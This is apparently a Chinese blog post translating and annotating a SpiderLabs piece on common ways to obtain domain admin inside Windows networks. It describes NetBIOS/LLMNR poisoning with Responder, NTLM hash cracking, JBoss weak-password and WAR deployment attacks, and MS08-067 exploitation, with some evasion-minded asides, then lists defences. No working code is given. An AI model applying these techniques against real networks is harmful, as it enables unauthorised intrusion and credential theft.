得到內網域管理員的5種常見方法

from:http://blog.spiderlabs.com/2013/09/top-five-ways-spiderlabs-got-domain-admin-on-your-internal-network.html

spiderlabs總結的,我簡單翻譯下,偶爾加點我的牢騷。

1.Netbios and LLMNR Name Poisoning

---

這個方法在WIN工作組下滲透很有用,WIN的請求查詢順序是下面三個步驟:本地hosts檔案(%windir%\System32\drivers\etc\hosts),DNS伺服器,NetBIOS廣播,如果前2個請求失敗,則在本地傳送NetBIOS廣播請求,此時任何本地網路的系統都能回答這個請求,使用SpiderLabs出品的Responder工具,能夠在不借助ARP欺騙的情況下,響應這個請求.其實metasploit也能利用(http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html),但實際測試還是Responder比較好,都是套用標準庫寫的,很方便在目標上使用:)

這裡的LM, NTLMv1, or NTLMv2雜湊,能夠用GPU或者彩虹表暴力破解.如果在responder會話過程中,抓到一個域管理員帳號,能夠直接使用winexe執行cmd.exe命令

2.利用jboss漏洞

---

可以前期先用nmap掃描下埠,識別出常見的JAVA應用伺服器,後期配合Metasploit的auxiliary模組來利用.比如jboss漏洞.最常見的就是弱口令了吧,同理的,也可以尋找webloigc,websphere,tomcat等這些基於JAVA的應用伺服器,還有最近國內政府部門部署比較多的Apusic,不過需要注意war包格式,進後臺,直接部署WAR就行了.jboss的除了弱口令,還有個後臺繞過,和流傳很久的1337那個.用例說下如何用metasploit暴力破解jboss後臺,以及部署war包.

3.MS08-067

---

這個漏洞已經超過4年了,但是內網中還是有很多機器沒有打補丁,影響的有(Windows Server 2000, Windows Server 2003, and Windows XP),不過說實話,我內網滲透的過程中很少用MS08-067,因為溢位不好,有可能造成DOS,被人發現了,就不好了,你懂得.

| MS06-025: NO SERVICE (the Ras RPC service is inactive)

...snip...

nmap的NSE指令碼是用LUA語言寫的,把這些NSE都過一遍,對滲透很有幫助哦,尤其是在LINUX平臺,win平臺下除了有幾種掃描方式利用不了,NSE指令碼照樣可以用,不過LINUX上預設安裝的NMAP版本都比較低了,你不能直接放NSE到目錄,注意看庫之間的依賴關係,才能利用,上次看wooyun的drops,[email protected],說用nse也實現了一個,我只想說,你能偷偷發我一份嗎?

接下來,還是用metasploit溢位，不知道對中文系統效果怎麼樣，我沒有試過 =.=

這個原理完全可以看瞌睡龍牛翻譯的/papers/?id=576,本文中亮點是他從LINUX連線到WIN的,有許多同學不會透過linux滲透WIN域,尤其是在得到一個WEBSHELL,還是ROOT許可權,還是跟內網連著,還有個域使用者的情況下(=.=現實中哪兒有這麼多好的條件讓你都碰到了)

修補方法:[真心不希望管理員看到]

---

1.少用XP/win2k吧,否則為了某些相容性,很少能全面禁止Netbios and LLMNR Name Poisoning

2.從知名站點下載軟體安裝程式,更換軟體自帶的預設口令

3.勤勞打全系統補丁

4.做好賬戶稽核

5.禁止空會話,關鍵伺服器,做好VLAN劃分
